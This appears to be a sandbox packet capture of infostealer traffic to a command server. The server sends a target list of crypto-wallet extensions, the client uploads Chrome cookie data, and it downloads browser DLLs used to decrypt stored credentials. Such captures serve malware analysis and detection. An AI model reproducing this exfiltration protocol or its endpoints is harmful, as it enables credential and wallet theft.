Aug 31, 2024 10:14:02.651431084 CEST	672	IN	Data Raw: 59 32 4a 72 62 57 68 68 5a 6e 77 78 66 44 42 38 4d 48 78 4e 59 57 64 70 59 79 42 46 5a 47 56 75 49 46 64 68 62 47 78 6c 64 48 78 74 61 33 42 6c 5a 32 70 72 59 6d 78 72 61 32 56 6d 59 57 4e 6d 62 6d 31 72 59 57 70 6a 61 6d 31 68 59 6d 6c 71 61 47 Data Ascii: Y2JrbWhhZnwxfDB8MHxNYWdpYyBFZGVuIFdhbGxldHxta3BlZ2prYmxra2VmYWNmbm1rYWpjam1hYmlqaGNsZ3wxfDB8MHxCYWNrcGFjayBXYWxsZXR8YWZsa21maGViZWRiamlvaXBnbGdjYmNtbmJwZ2xpb2Z8MXwwfDB8VG9ua2VlcGVyIFdhbGxldHxvbWFhYmJlZmJtaWlqZWRuZ3BsZmptbm9vcHBiY2xra3wxfDB8MHx
Aug 31, 2024 10:14:02.652995110 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJDGDBFCBKFHJKFHCBK Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 47 44 42 46 43 42 4b 46 48 4a 4b 46 48 43 42 4b 2d 2d 0d 0a Data Ascii: ------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------GHJDGDBFCBKFHJKFHCBKContent-Disposition: form-data; name="message"fplugins------GHJDGDBFCBKFHJKFHCBK--
Aug 31, 2024 10:14:02.904479027 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Aug 31, 2024 10:14:02.920972109 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.100 Content-Length: 5999 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 10:14:02.921010017 CEST	5999	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Aug 31, 2024 10:14:03.778012991 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:04.016782045 CEST	94	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:04.258338928 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:04 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Aug 31, 2024 10:14:06.346993923 CEST	953	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGIIJJDHDGCGDHIJDAK Host: 185.215.113.100 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 49 4a 4a 44 48 44 47 43 47 44 48 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------JDGIIJJDHDGCGDHIJDAKContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------JDGIIJJDHDGCGDHIJDAK--
Aug 31, 2024 10:14:07.153472900 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:07.317011118 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKEBFBFIEHIDAAAAFHCF Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 42 46 42 46 49 45 48 49 44 41 41 41 41 46 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKEBFBFIEHIDAAAAFHCFContent-Disposition: form-data; name="file"------JKEBFBFIEHIDAAAAFHCF--
Aug 31, 2024 10:14:08.250298023 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:08.852318048 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="file"------IJKFHIIEHIEGDHJJJKFI--
Aug 31, 2024 10:14:09.647195101 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:09.975508928 CEST	94	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:10.216993093 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:10 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Aug 31, 2024 10:14:11.369421005 CEST	94	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:11.611183882 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:11 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Aug 31, 2024 10:14:12.324012995 CEST	95	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:12.565196037 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Aug 31, 2024 10:14:13.057583094 CEST	91	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:13.334460974 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:13 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Aug 31, 2024 10:14:15.714519024 CEST	95	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:15.957298994 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Aug 31, 2024 10:14:16.293049097 CEST	99	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.100 Cache-Control: no-cache
Aug 31, 2024 10:14:16.534100056 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Aug 31, 2024 10:14:17.734400988 CEST	203	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.100 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 10:14:18.548022985 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:17 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
